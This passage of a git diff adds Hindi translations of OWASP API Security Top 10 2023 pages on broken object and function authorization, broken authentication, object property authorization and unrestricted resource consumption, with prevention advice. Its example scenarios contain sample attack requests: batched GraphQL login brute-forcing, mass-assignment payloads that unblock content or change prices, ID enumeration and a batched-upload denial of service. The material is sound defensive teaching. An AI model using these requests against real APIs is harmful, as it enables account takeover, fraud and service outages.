BOLA के बजाय [ब्रोकन फ़ंक्शन लेवल +ऑथराइजेशन (Broken Function Level Authorization)][5] (BFLA) का मामला है। + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +ऑनलाइन स्टोर (दुकानों) के लिए एक ई-कॉमर्स प्लेटफ़ॉर्म अपने होस्ट किए गए +स्टोर्स के राजस्व चार्ट के साथ एक लिस्टिंग पेज देता है। ब्राउज़र के अनुरोधों की +जाँच करके एक हमलावर उन API एंडपॉइंट को पहचान सकता है जो इन चार्ट के डेटा स्रोत +के रूप में उपयोग होते हैं, और उनका पैटर्न भी: +`/shops/{shopName}/revenue_data.json`। किसी दूसरे API एंडपॉइंट का उपयोग करके +हमलावर सभी होस्ट किए गए स्टोर्स के नामों की सूची पा सकता है। सूची में नामों में +छेड़छाड़ करने वाली एक साधारण स्क्रिप्ट से, URL में `{shopName}` की जगह बदलते +हुए, हमलावर हज़ारों ई-कॉमर्स स्टोर्स के बिक्री डेटा तक पहुँच पा जाता है। + +### परिदृश्य #2 + +एक ऑटोमोबाइल निर्माता ने ड्राइवर के मोबाइल फ़ोन के साथ संचार के लिए एक मोबाइल +API के ज़रिए अपने वाहनों का रिमोट कंट्रोल सक्षम किया है। यह API ड्राइवर को दूर +से इंजन चालू और बंद करने तथा दरवाज़े लॉक और अनलॉक करने देता है। इस प्रवाह के +हिस्से के रूप में, उपयोगकर्ता वाहन पहचान संख्या (Vehicle Identification Number, +VIN) API को भेजता है। +API यह सत्यापित करने में विफल रहता है कि VIN उस वाहन को दर्शाता है जो लॉग-इन +उपयोगकर्ता का है, जिससे BOLA भेद्यता पैदा होती है। एक हमलावर उन वाहनों तक पहुँच +सकता है जो उसके नहीं हैं। + +### परिदृश्य #3 + +एक ऑनलाइन दस्तावेज़ स्टोरेज सेवा उपयोगकर्ताओं को अपने दस्तावेज़ देखने, संपादित +करने, संग्रहीत करने और मिटाने देती है। जब किसी उपयोगकर्ता का दस्तावेज़ मिटाया +जाता है, तो दस्तावेज़ ID के साथ एक GraphQL म्यूटेशन API को भेजा जाता है। + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +चूँकि दी गई ID वाला दस्तावेज़ किसी आगे की अनुमति जाँच के बिना मिटा दिया जाता है, +एक उपयोगकर्ता किसी दूसरे उपयोगकर्ता का दस्तावेज़ मिटाने में सक्षम हो सकता है। + +## रोकथाम कैसे करें + +* उपयोगकर्ता नीतियों और पदानुक्रम पर आधारित एक उचित प्राधिकरण तंत्र लागू करें। +* जो भी फ़ंक्शन डेटाबेस रिकॉर्ड तक पहुँचने के लिए क्लाइंट के इनपुट का उपयोग + करता है, उसमें प्राधिकरण तंत्र से यह जाँचें कि लॉग-इन उपयोगकर्ता को उस रिकॉर्ड + पर अनुरोधित कार्रवाई की अनुमति है या नहीं। +* रिकॉर्ड की ID के लिए GUID के रूप में यादृच्छिक और अप्रत्याशित मानों को + प्राथमिकता दें। +* प्राधिकरण तंत्र की भेद्यता का आकलन करने के लिए टेस्ट लिखें। ऐसे बदलाव तैनात + न करें जिनसे टेस्ट विफल हो जाएँ। + + **ध्यान दें (Note)** + +* अनुमान लगाने योग्य पहचानकर्ताओं के बजाय GUID/UUID का उपयोग ऑब्जेक्ट एन्यूमरेशन (enumeration) हमलों का शमन करने में मदद करता है। लेकिन एक बार कोई वैध पहचानकर्ता प्रकट हो जाए—चाहे वह किसी दूसरे एंडपॉइंट, अत्यधिक डेटा एक्सपोज़र, लॉगिंग, या किसी अन्य भेद्यता के ज़रिए हो—तो उसे सार्वजनिक जानकारी मानकर ही चलना चाहिए। + +* प्राधिकरण के निर्णय ऑब्जेक्ट पहचानकर्ताओं की गोपनीयता या उनका अनुमान न लगाया जा सकने पर कभी निर्भर नहीं होने चाहिए। हर अनुरोध में स्वतंत्र रूप से यह सत्यापित होना चाहिए कि प्रमाणित उपयोगकर्ता अनुरोधित ऑब्जेक्ट तक पहुँचने का अधिकार रखता है। + +## संदर्भ + +### OWASP + +* [प्राधिकरण चीट शीट (Authorization Cheat Sheet)][1] +* [प्राधिकरण परीक्षण स्वचालन चीट शीट (Authorization Testing Automation Cheat Sheet)][2] + +### बाहरी + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/hi/0xa2-broken-authentication.md b/editions/2023/hi/0xa2-broken-authentication.md new file mode 100644 index 000000000..2682cfb9a --- /dev/null +++ b/editions/2023/hi/0xa2-broken-authentication.md @@ -0,0 +1,136 @@ +# API2:2023 ब्रोकन ऑथेंटिकेशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **सामान्य** : पहचान क्षमता **आसान** | तकनीकी **गंभीर** : व्यवसाय-विशिष्ट | +| प्रमाणीकरण (authentication) तंत्र हमलावरों के लिए एक आसान निशाना है, क्योंकि यह सबके सामने उजागर रहता है। हालाँकि कुछ प्रमाणीकरण समस्याओं का शोषण करने के लिए अधिक उन्नत तकनीकी कौशल की ज़रूरत पड़ सकती है, शोषण के उपकरण आमतौर पर उपलब्ध रहते हैं। | प्रमाणीकरण की सीमाओं को लेकर सॉफ़्टवेयर और सुरक्षा इंजीनियरों की गलत समझ, और कार्यान्वयन की जटिलता मिलकर इन समस्याओं को आम बनाते हैं। खामीयुक्त प्रमाणीकरण को पहचानने के तरीके उपलब्ध हैं और इन्हें बनाना मुश्किल नहीं। | हमलावर सिस्टम में दूसरे उपयोगकर्ताओं के खातों पर पूरा नियंत्रण पा सकते हैं, उनका व्यक्तिगत डेटा पढ़ सकते हैं, और उनकी ओर से संवेदनशील कार्रवाइयाँ कर सकते हैं। सिस्टम के लिए हमलावर की कार्रवाइयों को वैध उपयोगकर्ता की कार्रवाइयों से अलग पहचान कर पाना लगभग असंभव होता है। | + +## क्या API भेद्य है? + +प्रमाणीकरण एंडपॉइंट और प्रवाह ऐसे महत्वपूर्ण घटक हैं जिन्हें सुरक्षित रखना +ज़रूरी है। इसके अलावा, "पासवर्ड भूल गए / पासवर्ड रीसेट करें" (Forgot +password / reset password) को भी प्रमाणीकरण तंत्रों की तरह ही माना जाना चाहिए। + +कोई API भेद्य है अगर वह: + +* क्रेडेंशियल स्टफ़िंग (credential stuffing) की अनुमति देता है, जिसमें हमलावर + वैध उपयोगकर्ता नामों और पासवर्ड की सूची के साथ ब्रूट फ़ोर्स का उपयोग करता है। +* हमलावरों को एक ही उपयोगकर्ता खाते पर ब्रूट फ़ोर्स हमला करने देता है, बिना + कैप्चा या खाता लॉकआउट तंत्र के। +* कमज़ोर पासवर्ड की अनुमति देता है। +* संवेदनशील प्रमाणीकरण विवरण, जैसे प्रमाणीकरण टोकन और पासवर्ड, URL में भेजता + है। +* उपयोगकर्ताओं को पासवर्ड की पुष्टि माँगे बिना अपना ईमेल पता या वर्तमान पासवर्ड + बदलने, या कोई अन्य संवेदनशील कार्रवाई करने देता है। +* टोकन की प्रामाणिकता का सत्यापन नहीं करता। +* बिना हस्ताक्षरित/कमज़ोर तरीके से हस्ताक्षरित JWT टोकन स्वीकार करता है + (`{"alg":"none"}`) +* JWT की समाप्ति तिथि का सत्यापन नहीं करता। +* प्लेन टेक्स्ट, बिना एन्क्रिप्ट किए, या कमज़ोर तरीके से हैश किए गए पासवर्ड का + उपयोग करता है। +* कमज़ोर एन्क्रिप्शन कुंजियों का उपयोग करता है। + +इन सबके अलावा, कोई माइक्रोसर्विस भेद्य है अगर: + +* दूसरी माइक्रोसर्विसेज़ उस तक प्रमाणीकरण के बिना पहुँच सकती हैं +* वह प्रमाणीकरण लागू करने के लिए कमज़ोर या अनुमान लगाने योग्य टोकन का उपयोग + करती है + +## उदाहरण हमले के परिदृश्य + +## परिदृश्य #1 + +उपयोगकर्ता का प्रमाणीकरण करने के लिए क्लाइंट को उपयोगकर्ता के क्रेडेंशियल के +साथ नीचे जैसा एक API अनुरोध भेजना होता है: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +अगर क्रेडेंशियल वैध हैं, तो एक प्रमाणीकरण टोकन लौटाया जाता है, जिसे उपयोगकर्ता +की पहचान के लिए आगे के अनुरोधों में देना होता है। लॉगिन प्रयासों पर सख़्त रेट +लिमिटिंग लागू है: प्रति मिनट केवल तीन अनुरोधों की अनुमति है। + +किसी पीड़ित के खाते में ब्रूट फ़ोर्स से लॉग इन करने के लिए, दुर्भावनापूर्ण तत्व +अनुरोध की रेट लिमिटिंग को बायपास करने के लिए GraphQL क्वेरी बैचिंग का सहारा +लेते हैं, जिससे हमला तेज़ हो जाता है: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## परिदृश्य #2 + +किसी उपयोगकर्ता के खाते से जुड़ा ईमेल पता अपडेट करने के लिए, क्लाइंट को नीचे +जैसा एक API अनुरोध भेजना चाहिए: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +चूँकि API उपयोगकर्ताओं से अपना वर्तमान पासवर्ड देकर अपनी पहचान की पुष्टि करने +की माँग नहीं करता, ऐसे दुर्भावनापूर्ण तत्व जो खुद को प्रमाणीकरण टोकन चुराने की +स्थिति में ले आ सकते हैं, पीड़ित के खाते का ईमेल पता अपडेट करने के बाद पासवर्ड +रीसेट वर्कफ़्लो शुरू करके उस खाते का अधिग्रहण कर सकते हैं। + +## रोकथाम कैसे करें + +* पक्का करें कि आप API में प्रमाणीकरण के सभी संभावित प्रवाह जानते हैं (मोबाइल/ + वेब/डीप लिंक जो वन-क्लिक प्रमाणीकरण लागू करते हैं/इत्यादि)। अपने इंजीनियरों + से पूछें कि आप कौन-से प्रवाह चूक गए। +* अपने प्रमाणीकरण तंत्रों के बारे में पढ़ें। पक्का करें कि आप समझते हैं कि उनका + क्या और कैसे उपयोग होता है। OAuth प्रमाणीकरण नहीं है, और न ही API कुंजियाँ + प्रमाणीकरण हैं। +* प्रमाणीकरण, टोकन जनरेशन, या पासवर्ड स्टोरेज के लिए खुद नई प्रणाली बनाने की + ज़रूरत नहीं — स्थापित मानकों का पालन करें। +* क्रेडेंशियल रिकवरी/पासवर्ड भूल गए एंडपॉइंट को ब्रूट फ़ोर्स, रेट लिमिटिंग, और + लॉकआउट सुरक्षा के लिहाज़ से लॉगिन एंडपॉइंट जितनी ही सुरक्षा दें। +* संवेदनशील कार्रवाइयों के लिए फिर से प्रमाणीकरण अनिवार्य करें (उदाहरण के लिए, + खाता स्वामी का ईमेल पता/2FA फ़ोन नंबर बदलना)। +* [OWASP प्रमाणीकरण चीटशीट (OWASP Authentication Cheatsheet)][1] का उपयोग करें। +* जहाँ संभव हो, मल्टी-फ़ैक्टर प्रमाणीकरण लागू करें। +* अपने प्रमाणीकरण एंडपॉइंट पर क्रेडेंशियल स्टफ़िंग, डिक्शनरी हमलों, और ब्रूट + फ़ोर्स हमलों के विरुद्ध एंटी-ब्रूट फ़ोर्स तंत्र लागू करें। यह तंत्र आपके API + पर लगे सामान्य रेट लिमिटिंग तंत्रों से ज़्यादा सख़्त होना चाहिए। +* विशिष्ट उपयोगकर्ताओं पर ब्रूट फ़ोर्स हमले रोकने के लिए [खाता लॉकआउट (account + lockout)][2]/कैप्चा तंत्र लागू करें। कमज़ोर-पासवर्ड की जाँच भी लागू करें। +* API कुंजियाँ उपयोगकर्ता प्रमाणीकरण के लिए नहीं हैं — इनका उपयोग केवल + [API क्लाइंट (API clients)][3] के प्राधिकरण के लिए करें। + +## संदर्भ + +### OWASP + +* [प्रमाणीकरण चीट शीट (Authentication Cheat Sheet)][1] +* [कुंजी प्रबंधन चीट शीट (Key Management Cheat Sheet)][4] +* [क्रेडेंशियल स्टफ़िंग (Credential Stuffing)][5] + +### बाहरी + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/hi/0xa3-broken-object-property-level-authorization.md b/editions/2023/hi/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..05cfecc60 --- /dev/null +++ b/editions/2023/hi/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,155 @@ +# API3:2023 ब्रोकन ऑब्जेक्ट प्रॉपर्टी लेवल ऑथराइजेशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **सामान्य** : पहचान क्षमता **आसान** | तकनीकी **मध्यम** : व्यवसाय-विशिष्ट | +| API आमतौर पर ऐसे एंडपॉइंट उजागर करते हैं जो ऑब्जेक्ट की सभी प्रॉपर्टी (properties) लौटा देते हैं। यह बात खासकर REST API के लिए सही है। GraphQL जैसे अन्य प्रोटोकॉल के लिए, यह बताने के लिए गढ़े हुए अनुरोधों की ज़रूरत पड़ सकती है कि कौन-सी प्रॉपर्टी लौटाई जानी चाहिए। ऐसी अतिरिक्त प्रॉपर्टी की पहचान करने में, जिनमें छेड़छाड़ की जा सकती है, ज़्यादा मेहनत लगती है, लेकिन इस काम में मदद के लिए कुछ स्वचालित उपकरण उपलब्ध हैं। | API प्रतिक्रियाओं की जाँच करके लौटाए गए ऑब्जेक्ट में संवेदनशील जानकारी आसानी से पहचानी जा सकती है। अतिरिक्त (छिपी हुई) प्रॉपर्टी खोजने के लिए आमतौर पर फ़ज़िंग (fuzzing) की जाती है। इन्हें बदला जा सकता है या नहीं, यह जानने के लिए एक API अनुरोध बनाकर प्रतिक्रिया देखनी होती है। अगर लक्षित प्रॉपर्टी API प्रतिक्रिया में नहीं आती, तो साइड-इफ़ेक्ट विश्लेषण की ज़रूरत पड़ सकती है। | निजी/संवेदनशील ऑब्जेक्ट प्रॉपर्टी तक अनधिकृत पहुँच से डेटा का प्रकटीकरण (disclosure), डेटा की हानि, या डेटा में खराबी हो सकती है। कुछ परिस्थितियों में यह विशेषाधिकार वृद्धि (privilege escalation) या आंशिक/पूर्ण खाता अधिग्रहण (account takeover) तक भी जा सकती है। | + +## क्या API भेद्य है? + +जब API एंडपॉइंट के ज़रिए किसी उपयोगकर्ता को किसी ऑब्जेक्ट तक पहुँचने दिया जाता +है, तो यह सुनिश्चित करना ज़रूरी है कि वह केवल उन्हीं ऑब्जेक्ट प्रॉपर्टी तक +पहुँच सके जिनकी उसे अनुमति है। + +कोई API एंडपॉइंट भेद्य है अगर: + +* API एंडपॉइंट किसी ऑब्जेक्ट की ऐसी प्रॉपर्टी उजागर करता है जो संवेदनशील मानी + जाती हैं और जिन्हें उपयोगकर्ता द्वारा पढ़ा नहीं जाना चाहिए। (पहले इसका नाम + था: "[एक्सेसिव डेटा एक्सपोज़र (Excessive Data Exposure)][1]") +* API एंडपॉइंट किसी उपयोगकर्ता को किसी संवेदनशील ऑब्जेक्ट की उस प्रॉपर्टी का + मान बदलने, जोड़ने/या मिटाने देता है जिस तक उपयोगकर्ता की पहुँच नहीं होनी + चाहिए (पहले इसका नाम था: "[मास असाइनमेंट (Mass Assignment)][2]") + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक डेटिंग ऐप उपयोगकर्ता को अनुचित व्यवहार के लिए दूसरे उपयोगकर्ताओं की शिकायत +करने देता है। इस प्रवाह के हिस्से के रूप में, उपयोगकर्ता एक "report" बटन पर +क्लिक करता है, और नीचे दी गई API कॉल शुरू हो जाती है: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +यह API एंडपॉइंट भेद्य है, क्योंकि यह प्रमाणित उपयोगकर्ता को (शिकायत किए गए) +उपयोगकर्ता ऑब्जेक्ट की संवेदनशील प्रॉपर्टी तक पहुँच देता है, जैसे "fullName" +और "recentLocation", जिन तक दूसरे उपयोगकर्ताओं की पहुँच नहीं होनी चाहिए। + +### परिदृश्य #2 + +एक ऑनलाइन मार्केटप्लेस प्लेटफ़ॉर्म, जो एक तरह के उपयोगकर्ताओं ("hosts") को अपना +अपार्टमेंट दूसरी तरह के उपयोगकर्ताओं ("guests") को किराए पर देने की सुविधा देता +है, मेहमान से ठहरने का शुल्क लेने से पहले मेज़बान से मेहमान द्वारा की गई बुकिंग +स्वीकार करवाता है। + +इस प्रवाह के हिस्से के रूप में, मेज़बान द्वारा +`POST /api/host/approve_booking` पर नीचे दिए गए वैध पेलोड (payload) के साथ एक +API कॉल भेजी जाती है: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +मेज़बान उस वैध अनुरोध को दोबारा भेजता है, और उसमें नीचे दिया गया दुर्भावनापूर्ण +पेलोड जोड़ देता है: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +यह API एंडपॉइंट भेद्य है, क्योंकि इसका कोई सत्यापन नहीं है कि मेज़बान को +आंतरिक ऑब्जेक्ट प्रॉपर्टी - `total_stay_price` तक पहुँच होनी चाहिए, और मेहमान +से उससे ज़्यादा शुल्क लिया जाएगा जितना लिया जाना चाहिए था। + +### परिदृश्य #3 + +छोटे वीडियो पर आधारित एक सोशल नेटवर्क सख़्त कंटेंट फ़िल्टरिंग और सेंसरशिप लागू +करता है। अपलोड किया गया वीडियो ब्लॉक हो जाने पर भी, उपयोगकर्ता नीचे दिए गए API +अनुरोध से वीडियो का विवरण बदल सकता है: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +एक निराश उपयोगकर्ता उस वैध अनुरोध को दोबारा भेज सकता है, और उसमें नीचे दिया गया +दुर्भावनापूर्ण पेलोड जोड़ सकता है: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +यह API एंडपॉइंट भेद्य है, क्योंकि इसका कोई सत्यापन नहीं है कि उपयोगकर्ता को +आंतरिक ऑब्जेक्ट प्रॉपर्टी - `blocked` तक पहुँच होनी चाहिए या नहीं, और +उपयोगकर्ता इसका मान `true` से `false` कर सकता है और अपने ही ब्लॉक किए गए +कंटेंट को अनलॉक कर सकता है। + +## रोकथाम कैसे करें + +* किसी API एंडपॉइंट के ज़रिए कोई ऑब्जेक्ट उजागर करते समय, हमेशा पक्का करें कि + आप जो ऑब्जेक्ट प्रॉपर्टी उजागर कर रहे हैं, उन तक उपयोगकर्ता की पहुँच होनी + चाहिए। +* `to_json()` और `to_string()` जैसी सामान्य मेथड का उपयोग करने से बचें। इसके + बजाय, जिन विशिष्ट ऑब्जेक्ट प्रॉपर्टी को आप खासतौर पर लौटाना चाहते हैं, उन्हें + चुन-चुनकर लें। +* अगर संभव हो, तो ऐसे फ़ंक्शन का उपयोग करने से बचें जो क्लाइंट के इनपुट को + स्वतः कोड वैरिएबल, आंतरिक ऑब्जेक्ट, या ऑब्जेक्ट प्रॉपर्टी से बाइंड कर देते + हैं ("Mass Assignment")। +* केवल उन्हीं ऑब्जेक्ट प्रॉपर्टी में बदलाव की अनुमति दें जिन्हें क्लाइंट को + अपडेट करने का अधिकार हो। +* सुरक्षा की एक अतिरिक्त परत के रूप में स्कीमा-आधारित प्रतिक्रिया सत्यापन तंत्र + लागू करें। इस तंत्र के हिस्से के रूप में, सभी API मेथड द्वारा लौटाए जाने वाले + डेटा को परिभाषित करें और लागू करें। +* एंडपॉइंट की ज़रूरत के हिसाब से लौटाए जाने वाले डेटा स्ट्रक्चर को कम-से-कम + रखें। + +## संदर्भ + +### OWASP + +* [API3:2019 एक्सेसिव डेटा एक्सपोज़र (Excessive Data Exposure) - OWASP API Security Top 10 2019][1] +* [API6:2019 - मास असाइनमेंट (Mass Assignment) - OWASP API Security Top 10 2019][2] +* [मास असाइनमेंट चीट शीट (Mass Assignment Cheat Sheet)][3] + +### बाहरी + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/hi/0xa4-unrestricted-resource-consumption.md b/editions/2023/hi/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..46e177d0f --- /dev/null +++ b/editions/2023/hi/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,160 @@ +# API4:2023 अनरेस्ट्रिक्टेड रिसोर्स कंज़म्पशन + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **औसत** | व्यापकता **व्यापक** : पहचान क्षमता **आसान** | तकनीकी **गंभीर** : व्यवसाय-विशिष्ट | +| शोषण के लिए साधारण API अनुरोधों की आवश्यकता होती है। एक ही लोकल कंप्यूटर से या क्लाउड कंप्यूटिंग संसाधनों का उपयोग करके एक साथ कई अनुरोध किए जा सकते हैं। उपलब्ध अधिकांश स्वचालित उपकरण उच्च ट्रैफ़िक लोड के ज़रिए DoS पहुँचाने के लिए बनाए गए हैं, जो APIs की सेवा दर को प्रभावित करते हैं। | ऐसी APIs मिलना आम बात है जो क्लाइंट की इंटरैक्शन या संसाधन खपत को सीमित नहीं करतीं। विशेष रूप से तैयार किए गए API अनुरोध—जिनमें लौटाए जाने वाले संसाधनों की संख्या नियंत्रित करने वाले पैरामीटर शामिल हों—और प्रतिक्रिया की स्थिति/समय/लंबाई के विश्लेषण से इस समस्या की पहचान की जा सकती है। यही बात बैच्ड ऑपरेशन पर भी लागू होती है। हालाँकि खतरे के कारकों को लागत प्रभाव की जानकारी नहीं होती, इसे सेवा प्रदाताओं (जैसे, क्लाउड प्रदाता) के व्यवसाय/मूल्य-निर्धारण मॉडल के आधार पर अनुमानित किया जा सकता है। | शोषण से संसाधन की कमी (resource starvation) के कारण DoS हो सकता है, लेकिन इससे परिचालन लागत भी बढ़ सकती है—जैसे अधिक CPU माँग, बढ़ती क्लाउड स्टोरेज ज़रूरतों आदि के कारण बुनियादी ढाँचे से संबंधित लागतें। | + +## क्या API भेद्य है? + +API अनुरोधों को पूरा करने के लिए नेटवर्क बैंडविड्थ, CPU, मेमोरी और स्टोरेज +जैसे संसाधनों की आवश्यकता होती है। कभी-कभी आवश्यक संसाधन API इंटीग्रेशन के +ज़रिए सेवा प्रदाताओं द्वारा उपलब्ध कराए जाते हैं, और प्रत्येक अनुरोध के हिसाब +से भुगतान किया जाता है, जैसे ईमेल/SMS/फ़ोन कॉल भेजना, बायोमेट्रिक्स सत्यापन +(biometrics validation) आदि। + +कोई API भेद्य होती है यदि निम्नलिखित में से कम-से-कम एक सीमा मौजूद न हो या ठीक से सेट न हो (जैसे, बहुत कम या बहुत अधिक): + +* निष्पादन समय-सीमाएँ (Execution timeouts) +* अधिकतम आवंटनीय मेमोरी (Maximum allocable memory) +* फ़ाइल डिस्क्रिप्टर की अधिकतम संख्या (Maximum number of file descriptors) +* प्रक्रियाओं की अधिकतम संख्या (Maximum number of processes) +* अधिकतम अपलोड फ़ाइल आकार (Maximum upload file size) +* एकल API क्लाइंट अनुरोध में किए जाने वाले ऑपरेशन की संख्या (जैसे, GraphQL + बैचिंग) +* एकल अनुरोध-प्रतिक्रिया में लौटाए जाने वाले प्रति पेज रिकॉर्ड की संख्या +* थर्ड-पार्टी सेवा प्रदाताओं की व्यय सीमा + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक सोशल नेटवर्क ने SMS सत्यापन का उपयोग करते हुए "forgot password" प्रवाह +लागू किया है, जिससे उपयोगकर्ता अपना पासवर्ड रीसेट करने के लिए SMS के ज़रिए +एक बार का टोकन प्राप्त कर सकता है। + +एक बार जब उपयोगकर्ता "forgot password" पर क्लिक करता है, तो उपयोगकर्ता के +ब्राउज़र से बैक-एंड API पर एक API कॉल भेजी जाती है: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +फिर, पर्दे के पीछे, बैक-एंड एक 3rd पार्टी API को कॉल करता है जो SMS डिलीवरी का काम संभालती है: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +थर्ड-पार्टी प्रदाता Willyo इस प्रकार की कॉल के लिए $0.05 चार्ज करता है। + +एक हमलावर एक स्क्रिप्ट लिखता है जो पहली API कॉल दसियों हज़ार बार भेजती है। +बैक-एंड भी उसी के अनुसार Willyo से दसियों हज़ार टेक्स्ट संदेश भेजने का अनुरोध कर देता है, जिससे कंपनी को कुछ ही मिनटों में हज़ारों डॉलर का नुकसान होता है। + +### परिदृश्य #2 + +एक GraphQL API एंडपॉइंट उपयोगकर्ता को प्रोफ़ाइल तस्वीर अपलोड करने देता है। + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +अपलोड पूरी होने के बाद, API अपलोड की गई तस्वीर के आधार पर अलग-अलग आकारों में +कई थम्बनेल बनाता है। यह ग्राफ़िकल ऑपरेशन सर्वर से काफ़ी मेमोरी लेता है। + +API एक पारंपरिक रेट लिमिटिंग सुरक्षा लागू करता है—एक उपयोगकर्ता थोड़े समय +में GraphQL एंडपॉइंट तक बहुत बार नहीं पहुँच सकता। API थम्बनेल बनाने से पहले +अपलोड की गई तस्वीर का आकार भी जाँचता है, ताकि बहुत बड़ी तस्वीरों की प्रोसेसिंग +से बचा जा सके। + +एक हमलावर GraphQL की लचीली प्रकृति का फ़ायदा उठाकर इन तंत्रों को आसानी से +दरकिनार कर सकता है: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +चूँकि API `uploadPic` ऑपरेशन की कोशिशों पर कोई सीमा नहीं लगाता, इसलिए यह कॉल सर्वर की मेमोरी खत्म कर देगी और सेवा अस्वीकृति (Denial of Service) की स्थिति पैदा हो जाएगी। + +### परिदृश्य #3 + +एक सेवा प्रदाता अपने API के ज़रिए क्लाइंट को मनचाहे आकार की फ़ाइलें डाउनलोड करने देता है। ये फ़ाइलें क्लाउड ऑब्जेक्ट स्टोरेज में संग्रहीत हैं और +इनमें बहुत कम बदलाव होता है। सेवा प्रदाता बेहतर सेवा दर और कम बैंडविड्थ खपत के लिए एक कैश सेवा का सहारा लेता है। कैश सेवा केवल 15GB तक की +फ़ाइलें कैश करती है। + +जब किसी फ़ाइल को अपडेट किया जाता है, तो उसका आकार बढ़कर 18GB हो जाता है। सभी +सेवा क्लाइंट तुरंत नया संस्करण खींचने लगते हैं। चूँकि कोई खपत लागत अलर्ट न +था, न क्लाउड सेवा के लिए अधिकतम लागत की अनुमति, इसलिए अगला मासिक बिल औसतन +US$13 से बढ़कर US$8k हो जाता है। + +## रोकथाम कैसे करें + +* ऐसा समाधान उपयोग करें जिससे [मेमोरी][1], [CPU][2], [पुनरारंभ की संख्या][3], + [फ़ाइल डिस्क्रिप्टर और प्रक्रियाओं][4] को सीमित करना आसान हो, जैसे कंटेनर / + सर्वरलेस कोड (जैसे, Lambdas)। +* सभी इनकमिंग पैरामीटर और पेलोड के लिए डेटा का अधिकतम आकार तय करें और उसे लागू करें—जैसे स्ट्रिंग की अधिकतम लंबाई, arrays में अधिकतम तत्व-संख्या, और अधिकतम अपलोड फ़ाइल आकार (चाहे वह स्थानीय रूप से हो या क्लाउड स्टोरेज में)। +* एक निर्धारित समय-सीमा के भीतर क्लाइंट की API के साथ इंटरैक्शन पर सीमा लागू + करें (रेट लिमिटिंग)। +* रेट लिमिटिंग को व्यावसायिक ज़रूरतों के आधार पर बारीकी से समायोजित किया जाना + चाहिए। कुछ API एंडपॉइंट को अधिक सख़्त नीतियों की ज़रूरत हो सकती है। +* किसी एकल API क्लाइंट/उपयोगकर्ता 